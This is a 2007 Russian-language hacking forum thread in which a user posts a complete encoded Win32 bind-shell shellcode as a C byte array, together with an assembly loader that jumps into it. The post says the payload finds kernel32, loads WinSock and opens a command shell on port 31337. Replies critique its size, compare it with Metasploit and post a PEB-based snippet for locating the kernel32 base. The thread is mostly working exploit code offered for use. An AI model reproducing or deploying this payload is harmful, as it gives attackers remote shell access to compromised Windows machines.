Win32 bind shellcode

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 14 Jul 2007.

  1. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Было очень скучно, написал шеллкод под винду, который динамически получает все адреса и открывает порт..
    С метасплоита какието левые шеллкоды, а на милворме таких не видать.

    Шеллкод:
    Code:
    unsigned char gr8code[] =
    	"\x31\xc9\x81\xe9\x28\xfd\xff\xff\xc1\xe9\x02\x89\xe0\x83\xc0\x1b\x81\x30"
    	"\xaa\xbb\xee\xdd\x83\xc0\x04\xe2\xf5\xce\x1a\xee\xdd\xaa\xbb\x6d\xe5\x55"
    	"\x32\x2d\x56\xaa\xce\x19\x56\xe9\xbf\xcb\xdd\x5a\x44\x11\x54\x69\x96\xee"
    	"\xcd\xaa\xbb\x88\x5c\x91\xf6\xb4\xa8\x58\xe8\x06\xdc\xaa\xbb\xee\x1e\xff"
    	"\x32\x0b\x5c\x46\x87\xec\xdd\xaa\x53\xe3\xdd\xaa\xbb\xa2\xb2\xcb\xdf\xa2"
    	"\xb4\xc8\xc9\x8f\xaf\xd3\xfa\xee\x56\xae\x9f\x6d\x19\xae\x53\xe1\xdf\xaa"
    	"\xbb\x67\x58\x6e\x46\x11\x22\x42\xb4\xee\xdd\xaa\xfc\x8b\xa9\xfa\xc9\x81"
    	"\xbe\xeb\xdf\x8a\xaf\xcf\xc8\x9d\xdd\x21\xbf\xca\x5e\x6e\xbf\x06\x37\xab"
    	"\xbb\xee\x54\x2f\x73\x13\x22\x55\x53\xe1\xdd\xaa\xbb\xad\xaf\xcf\xda\x9a"
    	"\xb8\xfa\xc9\x81\xbe\xcf\xc8\x9d\x9c\xaa\xe8\x11\x48\x62\x46\x11\x22\x23"
    	"\x3e\x22\x20\x55\x44\x06\xd6\xaa\xbb\xee\x8a\xd9\x89\xb1\xee\x98\x95\x8a"
    	"\xb1\xc6\xbb\x11\x48\x6e\x46\x11\x22\x23\x3e\x3a\x20\x55\x44\x06\xd6\xaa"
    	"\xbb\xee\x8a\xf9\xfa\xbd\xa9\xcb\xc9\x9a\xa8\xda\xbb\x11\x68\x7e\x46\x11"
    	"\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x72\x46\x11\x22\x42\xbc\xee\xdd\xaa"
    	"\xc8\x81\xbe\xc1\xde\x9a\xdd\x55\x0e\x3a\x20\x55\x44\x11\x48\x62\x46\x11"
    	"\x22\x23\x3e\x32\x20\x55\x44\x06\xd6\xaa\xbb\xee\x8a\xf9\xfa\xbd\xb2\xc9"
    	"\xd0\x8b\xa9\xeb\xbb\x11\x68\x7e\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67"
    	"\x58\x46\x46\x11\x22\x42\xbe\xee\xdd\xaa\xd9\x87\xb3\xce\xbb\x11\x68\x7e"
    	"\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x4a\x46\x11\x22\x42\xbc\xee"
    	"\xdd\xaa\xd7\x87\xae\xde\xde\x80\xdd\x55\x0e\x3a\x20\x55\x44\x11\x48\x62"
    	"\x46\x11\x22\x23\x3e\x0a\x20\x55\x44\x06\xda\xaa\xbb\xee\xbc\xc9\xd8\x8b"
    	"\xad\xde\xbb\x11\x68\x7e\x46\x11\x22\x55\x2e\x26\x20\x55\x44\x67\x58\x42"
    	"\x46\x11\x22\x27\x3e\x1a\x20\x55\x44\xbe\xb5\xa8\xb9\xee\xdd\x55\x2e\x36"
    	"\x20\x55\x44\x84\xdd\xc0\xbb\x84\xdd\xc0\xbd\x84\xdc\xc0\xb9\x11\x48\x46"
    	"\x46\x11\x22\x29\x43\x11\xd2\x2e\x07\xee\xdd\xaa\x32\x6b\x2d\x57\x44\x11"
    	"\xbb\x6d\xfe\x6c\xdf\xaa\x7c\xab\x5b\xaa\xbb\xee\xdd\xcc\x03\x87\xa7\x2c"
    	"\x7f\x88\x54\xef\x3f\xdf\x1d\x27\xc6\x64\x64\xa8\xbb\xee\xdd\x59\x10\x63"
    	"\x98\x28\xd1\xfe\x8d\x55\x0e\x1e\x20\x55\x44\x11\x48\x4a\x46\x11\x22\xc0"
    	"\xb1\x11\x68\x5a\x46\x11\x22\x55\x2e\x0a\x20\x55\x44\x63\x98\x38\x7c\xab"
    	"\x7f\xba\xbb\xee\xdd\x27\xe6\x4c\x8e\xfa\x44\x5b\x2d\x57\x44\x11\x22\x3f"
    	"\x53\x13\x22\x55\x32\xab\x7b\x27\xc6\x54\x64\xbb\xbb\xee\xdd\x9b\x7b\x1d"
    	"\x76\x6d\xfe\x54\x99\xaa\xbb\xee\x1a\xef\x5d\xef\xdc\xaa\xbb\x88\x1a\xef"
    	"\x51\xee\xdd\x21\xfe\x48\x54\xef\x49\x67\x98\x5c\x32\xab\x27\x27\xfe\x54"
    	"\x50\xf7\x11\xbd\x8d\xc0\xbb\x84\xdd\xc0\xbb\x84\xdc\xc0\xbb\x84\xdd\x42"
    	"\xb3\xee\xdd\xaa\xd8\x83\xb9\x84\xde\x96\xb8\xaa\xd1\xee\x22\x3f\x77\x13"
    	"\x22\x55\x72\x2c\xd9\xaa\xed\xb9\x88\x42\xee\xee\xdd\xaa\xea\xbe\x8e\x23"
    	"\x5e\xed\x86\x96\x38\x2d\xc5\x21\xee\xee\xde\xf9\xdb\x65\x98\xaa\xb8\xac"
    	"\xc1\xfa\x30\xb3\xdd\xa9\xe1\xce\x8e\x21\xf1\xf6\x8c\xe3\x30\x9b\xdd\xa9"
    	"\x8f\x65\x56\xd7\xbf\x65\x90\xa2\xfa\x1d\x7b\x2f\x72\x9a\xda\xf3\x59\x06"
    	"\xec\x6a\x50\xe2\x84\xe3\x30\xaa\xf9\xae\x30\xea\x55\xa9\xfe\xee\x54\x46"
    	"\xe0\x6d\x19\xae\xe2\xb3\x82\xf4\x78\xb9\x8d\x23\x7c\xdf\x1d\x13\x44\x11"
    	"\x22\x55\x49\x40\xf6\x96\x9f\x67\x24\xe3\xe3\xb1\x1e\x69\xbb\xee\xdd";
    
    (пробелы, вставленные форумом, разумеется убрать).

    Ничего нового=\ Поиск последнего элемента SEH, указывающего внутрь kernel32, получение базы, разбор экспорта, подгрузка WinSock 2.0 и запуск шелла на 31337 порту.
    Не оптимизировал - вышло многовато.. там есть места, где 5-7 строчек можно заменить двумя-тремя, переписывать влом.
    Выкладываю для общего образования, для использования стоит оптимизировать хоть немного.

    Исходник (asm есесно) и бинарник в аттаче

    Минусы - жрёт много стековой памяти, можно было бы передвинуть ESP на место уже выполненного кода, чтобы хоть немного сэкономить память.

    ЗЫ. Сори за мой французский, т.е. английский, в комментариях :) Грамматика храмает;)

    ЗЫЫ. Простой тестер:
    Code:
    include 'win32ax.inc'
    
    .data
    hm dd ?
    
    SHELLCODELENGTH = 0x1000
    .code
    start:
    
        sub esp, SHELLCODELENGTH 
        mov edi, esp
    
        invoke CreateFile, "win32shellcode.bin", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
        mov esi, eax
    
        invoke ReadFile, esi, edi, SHELLCODELENGTH, hm, 0
        invoke CloseHandle, esi
    
        jmp edi
    .end start
     

    Attached Files:

    5 people like this.
  2. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Код ничего так, только я нашла там много мусора. Например, зачем ты сохраняешь параметры в стеке, передавая их через регистры по fastcall ?
    Оптимизировать надо тут... ладно, посуду помою - попробую
     
    1 person likes this.
  3. f04c3

    f04c3 New Member

    Joined:
    15 Jul 2007
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Мутный у код !!! как то нет оптимизиции не какой ))

    great: ну дык лень же ))
     
    #3 f04c3, 19 Jul 2007
    Last edited by a moderator: 21 Jul 2007
    1 person likes this.
  4. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    чего-то я вообще не врулил зачем ты это выложил. и чем это выгоднее чем метасплойт. как написать шеллкот я и так знаю.. (

    Great: блин, кез, ну дай повыпендриваться то =\\\\
     
    #4 KEZ, 19 Jul 2007
    Last edited by a moderator: 21 Jul 2007
    1 person likes this.
  5. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,301
    Reputations:
    327
    пизжу. базу кернела получаем вот так:

    __asm {

    mov eax, dword ptr fs:[30h]
    mov eax, dword ptr [eax+0ch]
    mov esi, dword ptr [eax+1ch]
    lodsd
    mov eax, dword ptr [eax+08h]
    }
     
  6. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Не пистить , все шеллкоды на метасплоите рабочие и маленькие
     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    sn0w, этот поиск через PEB говорят не пашет на 2000. Поэтому ярешил перестраховаться и сделал раскрутку SEH'а. Побольше весит, но пахать везде должно

    и е*анутые
     
    1 person likes this.
  8. gevara

    gevara Elder - Старейшина

    Joined:
    29 Nov 2006
    Messages:
    47
    Likes Received:
    7
    Reputations:
    5
    В висте раскрутка SEH даёт базу ntdll